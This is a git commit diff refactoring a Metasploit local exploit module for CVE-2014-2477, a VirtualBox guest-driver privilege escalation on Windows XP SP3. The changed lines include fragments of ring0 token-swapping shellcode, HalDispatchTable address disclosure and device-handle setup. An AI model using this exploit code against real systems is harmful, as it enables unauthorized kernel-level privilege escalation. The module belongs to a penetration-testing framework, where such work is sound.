There is only one target

bug/bundler_fix
jvazquez-r7 2014-08-12 16:14:41 -05:00
parent c8e4048c19
commit 183b27ee27
1 changed files with 7 additions and 9 deletions

View File

@ -38,13 +38,12 @@ class Metasploit3 < Msf::Exploit::Local
},
'Targets' =>
[
[ 'Automatic', { } ],
[ 'Windows XP SP3', { } ],
[ 'Windows XP SP3', { } ]
],
'References' =>
[
[ 'CVE', '2014-2477' ],
[ 'URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-001.txt' ]
['CVE', '2014-2477'],
['URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-001.txt']
],
'DisclosureDate'=> 'Jul 15 2014',
'DefaultTarget' => 0
@ -108,7 +107,7 @@ class Metasploit3 < Msf::Exploit::Local
return nil
end
def ring0_shellcode(t)
def ring0_shellcode
tokenswap = "\x60\x64\xA1\x24\x01\x00\x00"
tokenswap << "\x8B\x40\x44\x50\xBB\x04"
@ -152,7 +151,7 @@ class Metasploit3 < Msf::Exploit::Local
return address
end
def disclose_addresses(t)
def disclose_addresses
addresses = {}
vprint_status("Getting the Kernel module name...")
@ -251,9 +250,8 @@ class Metasploit3 < Msf::Exploit::Local
fail_with(Failure::NoTarget, "Unable to open \\\\.\\vboxguest device")
end
my_target = targets[1]
print_status("Disclosing the HalDispatchTable address...")
@addresses = disclose_addresses(my_target)
@addresses = disclose_addresses
if @addresses.nil?
session.railgun.kernel32.CloseHandle(handle)
fail_with(Failure::Unknown, "Filed to disclose necessary address for exploitation. Aborting.")
@ -263,7 +261,7 @@ class Metasploit3 < Msf::Exploit::Local
print_status("Storing the shellcode in memory...")
this_proc = session.sys.process.open
kernel_shell = ring0_shellcode(my_target)
kernel_shell = ring0_shellcode
kernel_shell_address = 0x1
buf = "\x90" * 0x6000